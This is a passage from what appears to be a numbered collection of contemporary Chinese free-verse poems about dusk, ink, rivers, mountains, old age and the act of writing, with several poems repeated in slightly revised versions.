它沿着看不见的甬道， 叮叮当当的往下面落了下来 并且超过了文字， 对于我， 是一片面前的虚无。 绿树498 《绿树》 。。。。。文字 跌下了山坡。 我想得到的更多的时候 对于那少的稀少。理解 如同傍晚的天色 所给予的感觉正由亮色 渐渐地昏暗 句子也丢失了， 我的担心毫无根据， 接下来的季节是一面镜子 现在太过于缺少水了， 我站在这样的土地上面， 那面镜子， 那面门，绿色的树， 越来越浓郁的挡住了它。 解释499 《解释》 我不能动， 解释的语言已经消失。 对这样的盛况，我毫无兴趣 如同夕阳西下的景色 夕阳燃烧了一本诗集， 第二次点燃了火焰。 有时候在突然停顿的时候， 我也不会心悸， 当然我也不会因此而 花太多时间来去寻找。 老年501 《老年》 你一辈子不会发现这个秘密。 你的手渐渐地无意识了。 你把它们埋得很深， 有时，你会喃喃自语。 天色从天边飘过来的一朵白云， 很容易就变作了夜里的瓢泼大雨。 牵牛花也很容易，第二天。 再往前，花朵闭合的那种 最为直接和极致的情形时， 是一颗颗青豆， 很容易就会被你叫出。 笔迹502 《笔迹》 这些笔迹落在纸上， 可能更深一些， 而刺杀了纸张里面的鱼儿。 对于书写的质疑， 由来已久，等待某一个场合 或者是偶然而起， 在最为传统上面， 我们是，首先被浸润的人， 被熏陶， 尽头那，黑色烟雾一般的边界。 像这种情形很少， 很少。 在回声寂寞的时候，书写开始。 室内503 《室内》 在室内和在室外是一个样子。 只有呼吸，从粗重 为了躲避它在烈日下面那些 无可奈何的情形，如今已经平静了。 我们有信心，往更深的地方去。做着准备 为了防止一些反转， 或者事实上的微不足道， 当那些场合确确实实是破碎的 能够被耳朵听到，心灵用来感受 但它们所传递过来的真实存在感 我们无法反驳。 室内之二504 《室内之二》 在室内，靠着椅子 短小的椅背，坐到十二点 也可能是十二点半， 比十二点多一点点。 这也是时间自身的犹豫 不准确里面所包括的秘密 我感到一阵的刺痛， 原先，我的计划是观察着 窗外，以一个舒舒服服的姿势 心中怀揣着古代的一个圣者之心。 但手儿伸进了时间的准确里面， 像一种亘古的存在， 又如此的平易近人 当失去了它被词语描述的所有的意思， 当我想象它有一阵反驳 如果我被别人窥探自己最内心的 我想我是会做出反驳，反抗的。 破旧505 《破旧》 我怕，破旧的屋子里面。 我在脉搏上面语气断断续续， 想起了不好但微不足道的事情。 跳动的脉搏， 我怕跌落。 所以怕的迷茫的情形 是无法分清。 有时候此与彼， 二有时候是两件事情，并没有统一 但是一件事情了。 从那些语气，毫无收获获得 在这个下午敲击墙壁， 有尘土落了下来， 也毫无收获。 破旧506 《破旧》 我怕，破旧的屋子，向里截断自身。 我在脉搏上面语气断断续续， 我曾经委曲求全的回来，只是为了如此。 突然出现的人，过了一会就会消失。 在暗红色的花朵上面添加花儿一朵。 跳动的脉搏， 我怕跌落。 所以怕的迷茫的情形 是无法分清。 有时候此与彼， 二有时候是两件事情，并没有统一 但是一件事情了。 从那些语气，毫无收获获得 在这个下午敲击墙壁， 有尘土落了下来， 也毫无收获。 破旧三507 《破旧三》 我怕，房子一横，向里截断自身的凉。 呵，这自我的论断， 带来了光明 并且试图与我的怀疑合二为一。 夜晚理应如此，一切，都是静默的。 这意味着我投降了吧， 投降的姿态因为美丽而不去追究 因为美丽我们索求一个吻。 一个室内只能有一个人， 一个房间里面， 离去在下午的建筑师傅们， 有了两个人就是误解，因为误解的 解决引起了我们的兴趣， 更多的景象是虚假的，虚的和假的， 漫溯过村民们的嘴唇， 星星是地上的村庄， 彼时（我爱这个词语）， 它为了封住她们的嘴唇， 这种幸福已经足够 : 也因为别的的可说的 而延续着。 月亮508 《月亮》 如果我们离开， 就此，选择的时机 最好是每一个人，他自身最正式的形象 :让那些重复的词语 碰撞于自身， 它们不敢与我们暴烈和粗鲁的 性格相互冲突， 它们转过了身，如此的直接 选择在草地和月色的 如银里面就起了冲突。 互相把怨气撒在对方身上， 互相的回忆不起， 理应该回忆起的，通过 长长的叹息应回忆起的。 这个夜晚漫长， 什么时候才是个头。 这个成语:吵吵闹闹 与我的手相连， 别的时候是书写，我那时属于它们。 破旧四509 《破旧四》 我怕，房子一横，向里截断了自身的凉。 我信了我的确信， 我知道自己是一个肤浅的人，我的 梦想只是在于 把简短的来变长。如果事关于多的， 突然的消失。我们呵， 可以提供了安全感的人，一同走进黑暗里面。 我们还要在更深更深之处， 目的地是安静， 在心灵的体验上面是，一片。 皮肤上面是起了很多的鸡皮疙瘩 像有一扇门，你说话的时候我摸不到 我为了让它不仅仅于个人的奇妙体验而打开， 而它本身因此被重复着， 在你那里，或者别处的， 那些个人， 有着新的压力，也有新的部分组成了呢。 美感510 《美感》 都需要一一修改，因此带着 美感与伪善的冲突，又放于时间的漫长中。 只有放是干脆的， 如果不止于此， 那么放是后话，是空话 我的嘴唇今天不是亲吻， 你不会因为听闻我笑话一般的，你 乃是我的妻子而面颊却绯红了。 红到上涨，在春天赶来的人 坐车，骑马，步行，道路 泥泞不堪，脑袋里面像浆糊一样 努力的保持清醒， 你这个比什么都现代化的站牌。 我会刺破你， 之后我才能坦然和安心，休息。 我才能从这里，通过一座桥梁， 我撞上了你， 把雪白肌体你粗鲁，并且包含了一切的 撞出如一条大河。 傍晚511 《傍晚》 静静地用手巾， 擦掉手上的水珠。 和之前洗手的声音。 用一双洗干净的手，去抚摸 群山为傍晚提供的褶皱。 树上，一声声鸟鸣，但看不清身影。 也没有时间去寻找了，夜幕降临， 夜晚将至， 人为了不至于变成那只鸟而担心， 我们与睡眠对话。 丹青见512 《丹青见》 静静地用干手巾， 擦拭掉手上的水珠 和之前洗手的声音。出于质疑 犹如不远之处，浓密树荫。 而平静的更久了一些， 更多的事物就会被放下， 如果一切都慢慢的消失， 我就可以质疑 那些无声的回答是最后的 它在登场和退场之间矛盾， 身体的衣裳， 被幕帘的铁钩挂住了一角 这之间，语言并不因为无辜而被 无视。并且于其之间， 犹如升起的景象， 作为假， 或者作为你吞咽下试图说话的声音 :桤木，白松，榆树和水杉。。。。 诗歌之中还有的一丝丝不甘。 看看513 《看看》 看看，这桥头的霜我拿不起。 它便降了下来， 另一件事并非是它以极其优美的姿势， 我的眼睛是虚无的 对于一种一劳永逸答案的握持 对于握持之中对于一切的紧紧怀抱， 那些夸张的姿势我可以放弃， 以略带有犹豫的斟酌 仿佛，从对面的火焰里面会有一个谈判者走来。 有人比我自己更关心我，更准确而言 对于我想象所投以的关心， 像傍晚地一束光，并不具有奥义 它真正的形象在于假之中， 我把它顺手投向了别的地方， 在我面前不远处的槐树丛中， 回荡着那种， 一时之间不能言喻的具体。 武陵人514 《武陵人》 武陵人缘溪忘路， 这样的形式太过于美丽了。 并且在向着东方倾斜和偏移。 在那个过程之中，被抛出的有城郭， 一切我想到的都变作了我未曾料得到。 而这些馥郁语言的整齐位置， 犹如一段笔直河道。那些弯弯曲曲 早已经度过。在颠簸里面，一位 渔夫依然思索于自己贫苦的处境， 家里面的妻子正在太阳下面渐渐地模糊起来， 转透明。 倒不如心一横，这一次 是去捕一条人生从未见过的大鱼。 因旅途的印象勾动了恐惧的心弦， 你暗哑的声音证明了历史之中的一切都是假的。桃花源， 实则这一次的结果必然空空。 带你面容羞涩， 实在是太难以，太难堪了。 一路弯着老腰，抽着旱烟向江州而去。 这个武陵人确确实实的驶出我的想象 这个武陵人依然缘溪忘路，一般的 倔强的是下游的一座分量很重的大城市。 当面对着现代人的考察标准， 我急匆匆拿出来的游标卡尺。 而它的伸展，仿佛极不情愿， 在瞬息之间，有别的东西 作为一种熟悉，临时的长篇大论 有时候武陵人闯入了一片桃花源， 除了时空这个位置悬而未决， 因为城池灯火的广大， 像是一种徐徐下降， 谁又不能说那是我们的心呢。 看呢515 《看呢》 看看吧，有没有人 看看这一天竟似另一天， 看难辞其咎的一天的 傍晚， 看羞涩偏又有恼羞成怒的粗鲁断章。 看诗歌，我觉得无理。 看仕女，矛盾的村庄， 我的脑袋胀痛之感。如果我在这样的 感觉之上行走， 是书写的本质， 趁着它游移之前 看这傍晚的暮色。 美丽。 太重了516 《太重了》 太重了， 必有遗落， 遗落的是语言， 我拿不起。与落下来的相呼应。 如果我的放弃是背叛，是蓄谋已久的fp。 我用尖尖如刀枪剑戟来迷惑了自己， 你就是我自己。 我的归处是阴影的部分， 影子在那里晃动，犹如语言 比喻的语言如此真实如未来， 但更缓慢了一些。 华灯517 《华灯》 我想模仿影子的影子， 我想夏天炎热的后果， 波及范围太广了， 是语言的错乱，我的一只手 确实曾试图伸了进去，按压 那些轻抚对于我的陌生 我想说错误的事情， 我判断出了人们的多寡 ： 在影子的深处犹如冷冽。 犹如诗歌来自于人的拍案而起， 这不是大手一挥可以起到的效果 于是，我可以参与一场古代的爱情 ： 不是女人，但偏又太过于娟秀。 但我厌弃你柔软的手指， 你的语言停步之处乃是葱白 从地里面的那一种现实， 拔出的惊异，留下的回声的痛苦。 我的归宿应该由我自己来决定， 华灯初上， 人们依然只是一双双嘴巴， 人安息的时候，人活着的是着的时候。 人应当永生永世的面对着语言， 这种东西。 华灯518 《华灯》 华灯初上，人的脚步美丽。 甚至从人缓行的脚步声， 为何呢，我猜测着 你是这个城市里面的人，你的面容。 我有更多的无可奈何， 我可以思索住所的含义。 这是通往那里的必经路， 语言像稍微不小心就溢出来的水， 明天总事关于还乡， 对于那个空洞的地方， 我转过身子来跟你说话吧， 今天的，和路途上。 镜子519 《镜子》 看看，这桥头的霜我拿不起。 看十一月未到，它便就降了下来 看，或者看吧， 你或者你们，不是形单影只而是勇敢而孤身的你。 我在每一面似镜子一般的，让你看吧 提高了语气，仿佛危险在于，我就是你。 但夜晚如此的美丽，它又匆匆的来临， 我们都知道， 在你我之间，连接你我的是天与地 我们都把易碎藏的更深了一些， 那些指正的建议只能如爱意的抚摸。 这就是我爱之处， 这处明亮于夜晚， 这处照见了人类。 当他们转过了身去，我就出现了。 看吧，从每一面里面离开， 你是不会回头的。 岷江畔520 《岷江畔》 我知道累，累在我的身体上面 长大。 不知道累的底细， 它自然会凭借一阵，莫须有的春风 如果我能听到时间轻微的琴弦。 在她说话之际 在我思想之际。 而这一些，当然也可以更多 对于传统而得来的一切 我们都来者不拒。甚至更多 过了山峰，就有一些回馈给了古代 在于了此地的那些布景 从一阵酝酿之中归来， 一双和另一双，眼睛还是眼睛，黑色的 它落在了土地上地历程还是历程。 土地521 《土地》 土地很大， 人的逝去就是很微不足道的一件事。 我觉得这很简单，于 变成美丽的一件事。 你也很美，像河波轻轻拍打着堤岸。 我还是觉得你很美， 远去是很美很美。 我一下子不小心就成为小孩， 但这还是需要一个极其严苛的条件。 你的目光， 如春水，含笑意，叫错名字的时候， 人在南方。一切化泡影。 岷江522 《岷江》 岷江边没有我的亲戚， 没有我认识的人， 没有我的妻子。 岷江在南方，静静地流淌 从高山到平原，汇入长江。 搬山记523 《搬山记》 我知道搬山记的意思，是现实与文字的结合。 山的处境尴尬， 甚至，有时候群山， 难道山与山的结合，如同手牵着手 夜色里面也难掩尴尬？ 山上面有一个房子我知道，破旧了。 是否也还有别的什么， 我知道山被搬动之后的结果， 为了一种盛况， 那种空旷的感觉确确实实的在 我们的面前展开来了。 我会悄声细语的说起你， 之前作为一种结果，你从群山的搬动之后由来。 入江口524 《入江口》 …在入江口那里， 我看到了很多的人。人一多了起来 我看到时间，过去与现在与人的关系。 人太多了，手掩埋住了它们。 所以我觉得很久了，事物遁去， 时间成为了主角。 而我总是伴随着叹息的声音 向着某个地方走动，遵从于自己内心的直觉 寄希望于穿破它的肤浅。事情可能失败了， 而胜利一般，喜悦可能来自于初步有了一些成效， 人应当活在这样一种不如如此的将就之中， 人应当在谈话之中活着， 通过与他人的说话而对于活着证明着 话多了，难不成吗，人来自于补救的多， 多么的微不足道， 有时候把无意义放在了江水， 之前它们是流淌。 大地像一本书，但不好反驳， 这是错误的，人爬到了山上 好像也看不到更远的地方。 劳动525 《劳动》 劳动多么美丽， 它现在的具体是泡在保温杯里的茶叶。 我倒出一杯，水面倒影着 白云和蓝天。如同盛放 现实里面的童话，只有通过了被忽视 当它们被确确实实的认定为不可能的 仿佛就是在一口叹息之后， 为返回土地的我们找了一个理由。 农具撞击着这个如干旱的土地， 它被破开属于更多的结果， 我们如果因此而掩埋，它 唯一的通道是在夜晚的群星下面 再次的言语。 而仅仅是调整这些仅属于语言领地的， 仿佛确实如此， 当白日里面的我们说过的话语， 那些回声来到了这里。在夜晚 我是说，在那个从今天的白天 作为开端，通往第二天的 路的中途。 青衣526 《青衣》 我写不出一位青衣， 因此才，在历史的发生之后得以书写。 或许，从此到彼 或者错误发生的时候， 我就停下了对于历史一知半解的 侃侃而谈。橡皮 已经擦不掉越来越碳素化的 圆珠笔。 一半怀旧一半现代， 莫不就是这样， 当下的中g如此这般， 那些没有说完的和说完了的 在一起，把欲言又止制造了。 墨水527 《墨水》 天地之间的墨水， 屋子里面的墨水。 单纯只是一瓶墨水， 有时放在那里，案板上面的一个角落。 仿佛是遗忘所致，又不仅仅是， 它的表层轻微的板结，干燥。 书写的人究竟会有多大的决心呢， 用来书写的， 和时常对对象进行拷问和记录的 如今已不再言听计从的 跟随着人的判断。 这么一层确确实实像是人类的良心 很容易就可以被刺破 人的宽宏大量，悲悯 甚至是在对于墨水表面的搅动之中 以未曾注意的形式。 墨水之二528 《墨水2》 只有墨水可以， 拉近天与地之间的距离。 它所追踪的，是我此刻的心意。 它所拒绝的是暴虐， 呵，它已经看透了我的命运。 我已经不是它所认识的那一个， 为此，一瓶一支笔的命运， 从小卖部， 每日里面看着人群熙熙攘攘，自行车 与汽车，三轮车的景象被拿掉了。 到网购平台——而这正是它的命运。 我忧伤的书写来自于，我从未曾 是一个赤条条的人儿。 当笔端，发迹，书写 我有时会觉得里面含有宇宙， 我有时候会转头看看窗外的星光。 傍晚530 《傍晚》 只有墨水可以拉近， 天与地之间的距离。 傍晚时分，光线还可以 一切都很好，我感到， 被书写的除外， 总要留一点余地给自己 类似于把轻微的感觉， 投进某个地方。 诗歌门外汉，无题531 《诗歌门外汉》 如果我能放松下来， 差不多我就入门了。 劳作的双手属于别的， 它会通向哪里，我不清楚。 一双手被分成了两半， 分属不同的时辰， 有着不同的诗意。 溅起的水花由我的并不确定而来 像这样恍然的句子， 因为无人，也可以原谅。 《无题》 夜深了，路看不清， 祖国像一颗彗星。 这样的节俭谁不爱呢 爱你的心脏，爱的更深 声音迟钝的传来。 只有在今天我忽然察觉到 夜深了， 我不禁会想， 其他的日子我在哪里。 傍晚532 《傍晚》 只有墨水可以拉近天与地之间的距离 我希望看它， 目光来自于，从观察的退化。 ————一切在农村发生。 我希望这一个在夜晚悄悄，寂寞的 在人们哑口无言的时候发生。 为人们的沉默和无聊寻找到一个理由的发生。 我想起了一些与之有关的古代的句子， 很美好，转身就忘记了。 青色533 《青色》 秘密是我们不说 我们用什么来藏起来， 我们什么时候可以把 一双嘴巴想起。 \/ 把一双嘴巴， 用一双粗鲁的手来拯救， 从言说里面，来到了明亮的天光。 \/ 而如果界限，确确实实是如此的 它被明证的历程的人群 那是像我一样可爱的人儿。 我有时候会展示他们具体的特征， \/ 可能是为了挽留一些重要的微不足道 我的愁绪在心里面， 与它平等的，是充满，这一种古老的提法。 夜晚的534 《夜晚的》 往回走之时， 往回走吧， 让我的语气是你的语气 让我唯一可以确定 是微弱，让我停在了那里， 而不再说出。 一切多余的事物，一切都是多余的事物 才有了一切。 灯笼想在屋角上面翻转随后的东西， 作为一个以动词为主的句子， 掺杂在做饭之声的夜里， 颇为鼎沸，我忽有此感，并这样谓之吧。 江水535 《江水》 江水从上游而来的汹涌 包含了人言。超过了我的想象 我由此而来，面对着自己的肤浅性格。 我的梦， 来自于别处。 它要寻回的是别的， 而那些为此躲避世间， 所见所闻事物的扭曲，与躲闪的动作。 而如果仅仅是它， 仿佛是虚无为我所盼， 在人这个生命与做梦的不可二分法之处 做梦的属于虚言， 有大千，现在开始了积蓄。 京杭大运河536 暴君呵， 随后整京杭大运河， 都在做着正名。 诗抄537 《诗抄》 诗抄，一个字一个字的， 把诗人告知的试着看看 能否交给下一个。 能否， 这是人的危机，人的担忧来自于 人儿是否还存在着的可能呢。 那些语言犹如云团， 甚至并无二致 那些黑色的阴影是夜晚， 并且不仅仅空无一物， 不仅仅于此。语言， 并非没有属于自己的位置， 悬空的景象并不会引起，在于人的困惑。 但我是， 走进了这所房子，打开了内屋的门 甚至寄托了希望，希望它更为的具体 ————把一切寄托于短， 并且黑色的眼睛凝视着它呢。 大雁塔538 《大雁塔》 叙述已似朽木，砰砰乓乓的 掉落下来，以猜测着我。 颇有人形的对话着我， 或者远离水边的这一事实和基础之上 明辨于我。巨大的影子笼罩着我。 我已经丢失的太多了，事实上， 自己的形状都无法看清。 赶来如赴一场早已被注定了的 因果。口渴，饥肠辘辘 在你的面前，又忽觉一面镜子般的恍惚。 邀约539 《邀约》 具体的事物在文字里面 退缩了又退缩。 具体的事物只有通过旧事重提才可被发觉。 具体的事物多于表面，弦乐奏响。 我把注意力放在音乐声音的， 轻微和震颤上面。集中于一点 作为刻度，超出的指正 微弱的，则默不作声。 我并没有与另一个人说话， 突觉放松也是错误的。 我转头看向的每一个人， 行在傍晚的柏油马路上面， 商业街人声鼎沸。 都充满了罪责的时候， 有迹可循，但相比于哑口无言， 为了脱逃罪责，人们三两结伴 我也收到了一份属于夜晚的邀约。 缩小540 《缩小》 再怎么缩小自己， 事物也不会变成柔软的水。 不会有刺目的尖锐扑过来， 铺在我的心上人。 我幻想了一场浇灭， 发生的迟缓， 以一个离去之前曾娓娓道来者作为参照， 我的目光全部的被她的腰身所吸引， 有时候冒犯的下移， 想要把目光再次提上来 是困难的一件事。 这像是已经提前做好了的防御塔， 在心里。 或者想是另一物， 想水，需要通过思索，人儿才被允许。 春天541 《春天》 春天多么宽广啊， 它允许本应该发生的事情不会发生， 允许意外。 允许发生的事情是青绿色的果子， 尚且幼小， 以阳光和雨露为食。 饮食的动作轻微， 我要谈的，要说的， 是与它有关的那些雨水。 它们在我的手指头上面诞生了， 随后滴落下去。途中的部分被我遗忘， 我转头看看周围， 只看到傍晚美丽的夕阳。 SC省542 《Sc省》 Sc省， cd市， xx区\/xx县， xx乡， xx村。 语言已经失去了效力， 要说的只是一团黄土。 SC省533 Sc省 《Sc省》 Sc省， cd市， xx区\/xx县， xx乡， xx村。 语言已经失去了效力， 要说的只是一团黄土， 村庄靠近着河流 没有名字。 刻碑534 《刻碑》 大刻碑之下 人是缓慢的移动的流水。 与流水无疑，泛起一阵停顿的波浪。 那个人是我。 我曾怀疑，人群攒动，静止属于偶然 那么找得到了我的 一定是无形散发出来的力量。 扣动我内心的， 琴弦一般， 尚没有弹奏，又何谈消失。 而当一个人向着某一个目的地前进 对应的，呼应彼此 互为了敬亭山。 古人云，只要抹去了山色， 敬亭山就会变作了别的。 是否真是如此， 我的停顿的片刻如此的具体了， 或者可以更为的久了一些， 花时间来看看山色 作为一个游客的身份， 或者回归，作为同样的东西 具体到了一个人的忧虑和思索， 我却不能在被寻获的间隙里面 使得那些哀叹更为的有力量。 山林535 《山林》 只有山林， 可以把文字聚拢， 又被人类挥霍一空。 \/ 人类嘴唇上的玉石小径， 已不再了踪迹。 \/ 远处的那一片山林， 一定居住着一个深居与简出者。 如果人自夸的语气，含有着的 实则宽慰和边界。 写着苦苦哀求的人， \/ 每日里看傍晚的夕阳， 如果可以被抚慰， 那并非遵从于内心的心意， 仿佛成了夕阳最终西沉的下一部分。 登山536 《登山》 南门的雾气锁了大部分， 我的语言像是一个拯救 又像是注定失败的路， 我走着，我说着， 那些被雾气隐去的部分。 那么，我知道了， 在雾气之中，从山门退了回来 从雾气之中的那些 岩石，小径，刻碑 正从彼走到此， 走到一个我不知道的， 令得我担心的地方 ————在一阵惊讶的目光之中， 我退了回来，未曾登山。 回来时537 《回来时》 回来时，河水掉转头。 感觉一切都是回来的， 才能挽回。 直行、甚至通达天空 眼前并非纯粹的蓝 直行成为了所有事物隐隐可见的 命运。 直行的命运，像锁套 套在了所有事物的头上面。 如果这个历程过于的漫长， 里面充满了对话的人与人攀谈的回声 则是生活。 在它短的时候， 我却未感到我的双手是无力的。 我感到有另外一种东西，我正在慢慢的接近， 数着桤木，白松，榆树。。。。 仿佛我正靠近其中的一个， 而另一个因此被甩弃。 丹青见538 《丹青见》 千百次的念 和读的不愿意分开 因为此所发生来了的回声 又紧紧将山顶的那一课包裹。 百闻不如一见， 实在是欲盖弥彰， 我据此推测， 那件事情绝不普通。 那么，那绝不是普普通通的，一棵 山顶上曾生长的树木。 它被赋予了名字的时候也被同时的 赋予了必然砍伐的命运 千百次的诵读，与其说是劝慰 不如说减轻罪责，自我安慰。 我默不作声， 山顶已经光秃秃了， 像一种空缺和递进的水， 那水如果是它的另一个归宿 我记得，千百次的念 与百闻不如一见之间，注定了 一棵山坡上被砍伐的命运。 总有539 《总有》 总有人爱的寂寞， 爱的妥协， 爱到了这个 存在于眼前的事物。 \/ 谁不爱美丽的傍晚， 随便都可以爱和爱的自由。 爱，比如云霞和三千里的红诏。 我在你爱的无可奈何的时候爱， 这种回声般的爱的一般。 夜，是空。 它作为自己，它自我 多么矜持的拒绝。 \/ 爱的形象在寻获里面， 在夜里。 在语言以尝试的态度， 兼具小心翼翼， 它们在树梢荡起了阵阵摆动， 这些测试东与西的，有时候 也测试黄昏的日落 像一种极其错误地后果 在于难以理解， 如果是这样被理解的耐心 像从错误到正确一样， 我相信所有热切的心来自于急切， 我相信我会有意识的错过了你， 从更加到浅薄， 那些绯红的表面有时候真真正正的误解了我。 总有540 《总有》 我爱这种处境：总有人爱的寂寞， 爱的妥协， 爱到了这个 存在于眼前的事物。 \/ 谁不爱美丽的傍晚？ 随便都可以爱和爱的自由。 爱，比如云霞和三千里的红诏。 我在你爱的无可奈何的时候爱， 这种回声般的爱的一般。 夜，是空。 它作为自己，它自我 多么矜持的拒绝。 \/ 爱的形象在寻获里面， 在夜里。 在语言以尝试的态度， 兼具小心翼翼， 它们在树梢荡起了阵阵摆动， 这些测试东与西的，有时候 也测试黄昏的日落 像一种极其错误地后果 在于难以理解， 如果是这样被理解的耐心 像从错误到正确一样， 我相信所有热切的心来自于急切， 我相信我会有意识的错过了你， 从更加到浅薄， 那些绯红的表面有时候真真正正的误解了我。 困541 《困》 用极其优美的文字来形容， 我所知的贫乏，夜色里面的 指针孤独的指向了旧时候 我如此清晰的知晓这一刻， 发生，错乱的是因果 ——也不是隶属于， 像一个跌跌撞撞的动词， 只能在静中寻求一种庇护 伸展的夜色包庇了它如草叶 草的叶子，我记起了它有入帘青的时刻 但记不得更多了。 没有542 《没有》 没有在生长中丰满的果实 一定是一声叹息。 微微的鼓胀无关，相比于之前的 略有膨胀。 它不会回头看， 还不能够如此，接受了这样子的 一种取其中间的， 所以，每一株都爱倾听这些极微弱的。 对于我而言是悬空的， 空着的没有， 语言之上没有， 星光， 挪移到了夜晚里面， 那些红色的范畴一路向下， 在第二天，是从上到下。 果子543 《果子》 没有在生长中变得丰满的果子， 没有走在一条必然之路上面的 变幻的是梦。 如此决绝的文字也只能如此， 它的形象单一，在描述之中 早已厌倦。 所以我是如此的陌生而又亲切， 我又是如此的远且近， 有如此多的时间，但并不枯燥于 调整远和近的关系。 有时候我就扎了你的心一下， 收回去的时候我又扎了一下 看着你红褐色的表皮如同大病初愈， 向你， 作为一个再也没有可能， 有关于果实成熟所携带， 爱意和雄性秋风。 八十四岁544 《八十四岁》 八十四岁纠正了一切错误。 在错误的里面了。 所以，所有的东西都是担惊受怕的， 都使得我怀疑， 抬头看天空上面的天气， 那些被淹没了的，在语言之中 才是主角。 一声声的哽咽， 一声声里面吐露出来的 八十岁才有的春水。 像有一位老妇人从那里出来， 她遗忘了某些东西， 以至于弄得句子很短， 有所省略的同时， 作为主干的那些姿容，愈发的坚挺 她穿着一件不过时的旧衣服 这昭示了她与我之间的关系， 是我的奶奶， 在我的脑海里面， 这种关系更近了一步。 搬山记2——545 《搬山记2》 我知道，搬山记 搬动了现实与虚幻 图谋由一个地质勘探员而起 他的工作由来， 使命身负于人， 一个人面对着搬动之后，的另一座。 我仅仅能窥探到更多的语言因此时刻准备着， 山林里面，树荫茂盛， 遮蔽了阳光，一支探矿队如蛇穿行。 把书写放进一支弯弯曲曲的队伍里面， 首先也不是语言， 它的无辜更深了一些， 我是说，我这个人是必要的。 把书写以极其平淡和自然的方式， 放进了傍晚的夕阳里面。 我知道，篝火是诗歌的全部， 罪责是通过众人的饮食而一点点的 脱落的部分。 诗歌常常被谈及的时候， 直到睡眠的边界。 我的继续问话多么的不和谐， 我这个人走进书店或者对张二棍 这个人偶有听闻， 他书写的多姿多态， 那可是许许多多的东西， 背负在肩膀上的快乐 肩膀上面的男人独有的快乐， 甚至排斥思想。 充耳不闻546 《充耳不闻》 他充耳不闻 我也会，充耳不闻 \/ 世间最大的迷题在于， 二者是同一件。 \/ 窗外，将鸟鸣和蝉脱 一切声音如果放低了它们的身段。 那么可想而知 声音是何其的广阔，甚至 何其浩大的事情。 仿佛什么事情也没有发生， 甚至里面包括了我对于他由衷的敬意。 这幅面孔并不是我的终点， 起点在脚下是一颗坚硬的石头。 作为没有名字的事物， 它被赐予的意义从它的表面 往往流走。很是轻易 有一种可能，但并不招摇，也绝非梦境 那脸庞被什么叮咬一般的疼了一下 又迅疾退回， 从作为石头的本质里面， 呵，我看到了我的起点。 等等姑娘547 《等等姑娘》 与你碰杯的是同一个， 这使得我的死离我 还很远。 今天，望着你红润的嘴唇， 但不会更多了， 你如何要来， 等等， 让我们，像旧时候珍惜粮食一个样子， 珍惜这个语气叹词。 让你的名字是等，让你因此生气，娇嗔 就让你的名字以整个夜晚为你衬托 ：等等。 是的，等等姑娘， 那死亡正慢慢的上升， 我于此时抛下了生的各种 各样的物品，往下面 与你一般的地方， 我看到死亡的窥探 渔网548 《渔网》 你充耳不闻， 我与你是同一件东西时 我知道麻烦大了。 我知道是时候向着漫长的黑夜 和夜色里面属于黑的路途 抛撒破旧的渔网。 我知道，只有不断的谈论这 抛撒的过程才能获救， 我知道朗声毫无用处， 无论它抓在手里，抛出去 和那个刹那，如果存在 我没有将它收回的可能。 作为唯一物的幸福，有时也在于此。 青衣江549 青衣江 《青衣江》 孤独中， 谈论小的事物。 孤独中，发现一座山 你不必惊异，因你孤独。 孤独的住在一座山上， 修饰你的屋子，清扫你的院子 做你的蔬菜，上床睡你的觉 花掉属于你的 时间。 登幽州台歌550 《登幽州台歌》 陈子昂迈步攀登的那座幽州台。 唐宋时期在修， 明清修， m，x也在修。 等他靠近，这个关系是错乱的。 当最后一斧子越来越现代， 当一颗心除了怦怦跳别无其他的可能 历史照见的贫乏并不是诗歌， 那些仓促的部分并不在于信手提笔 但是如果人的心儿是贪婪的， 于野望，或者 哪怕仅仅只是想， 留住那月光从诗歌上面，匆匆 滑落的部分。 张二棍551 《张二棍》 我怀疑他所说，那些 是由他的撕裂而来。 蟋蟀，离开了山涧。 文字太过坦途，没有什么阻隔。 没有什么疼疼在我面容平静。 那些天光我穿了过去， 现在依旧。 出了门就是那些陈腐的事物， 溅起灰尘。 这轻轻的一推就是 我的回答，作为一种短暂的后果 像紫藤木的十月与随后。 我的疑问。 翻来书本来寻找失去的东西， 翻来诗歌来寻找于遗失 并且统一于诗人而得来的美感。 张二棍552 张二棍 《张二棍》 我怀疑他所说，那些 是由他的撕裂而来。 蟋蟀，离开了山涧。 文字太过坦途，没有什么阻隔。 没有什么疼疼在我面容平静。 那些天光我穿了过去， 现在依旧。 出了门就是那些陈腐的事物， 溅起灰尘。 这轻轻的一推就是 我的回答，作为一种短暂的后果 像紫藤木的十月与随后。 我的疑问。 翻来书本来寻找失去的东西， 翻来诗歌来寻找于遗失 并且统一于诗人而得来的美感， 这话语的中途， 或者充满了沉默，使得戛然。 搬山记3——553 《搬山记3》 我怀疑他说，撕裂的声音不同。 我怀疑真的时候， 真由假而来。 如此的辛苦的历程， 使得我们对于不由自主的怀疑 感到了羞愧。 对于历史这种经由人杜撰的东西， 我怀疑人被怀疑的历史日久弥新。 一直被怀疑， 有时候当我说起了某个事物。 在戛然而止之中，发现是肤浅的， 说发现只是道德的自我拷问。 而分明一个囚徒对待历史的错误 就是我的错误， 对所有不回头的人儿产生了共鸣， 是我的，没有穷尽和语言之死的 兄弟，乡亲，邻居。 我在阳光下面为遗忘而努力， 我是民族的先祖 磨灭于无法被考证的情愿。 同桌的你554 《同桌的你》 这个女人听错了所有的文字， 女人在幸福里面哭泣。 未尝不是一件小事。 有小的事物的影子得以穿行， 在河面随后溅起了感激的浪花。 这与一个亲吻的短暂类似， 羞涩在很浅的肉体接触 和语言的犹豫不决之中是一致的。 有时候是你与我， 呵，我们之间的故事早已经发生了 无需多言， 你一哭泣，我的全部动作就在 脸庞上面聚首了。 庭院555 《庭院》 坐落在庭院之深而不是浅处。 不如你静止不动， 与我共享一个秘密。 与我共同的幸福在于，共同走到了 历史之中的语言。 你说，我就震颤。你说，我听 坐在庭院深处不如室内空坐 坐成一匹马，行于山中。 我羡慕你那独享众多诗篇的旧时候。 露出马蹄， 回归到马。 露出语言， 人与马的不分，组成了惊异。 什么把傍晚的天色组成， 又是什么，始终空缺着，仿佛 一种漠然无视。 在你的姿态底下， 我寻货着属于自己的东西， 作为马遗留在泥地上面不深不浅的脚印， 从后面向前，有三瓣， 像花朵的花瓣散开。 十月556 《十月》 十月，炊烟更白 掐住了我的喉咙， 畸形的结果包括这 和那。 作为一个奇迹。 其实人也是的。 是的，有很多，许许多多。 \/ 你只要转过身对着枯燥的草垛， 我就已经是一个庸人了。 我一路的穿越没有任何的新鲜感觉可言， 你转身就轻易的截断它们， \/ 八月，有水，梦想和希翼。 除了那些因我说不出而书写也停顿 在中途的时候我观赏过一朵小花， 没有名字，太阳光似乎很强烈。 十月有水557 《十月有水》 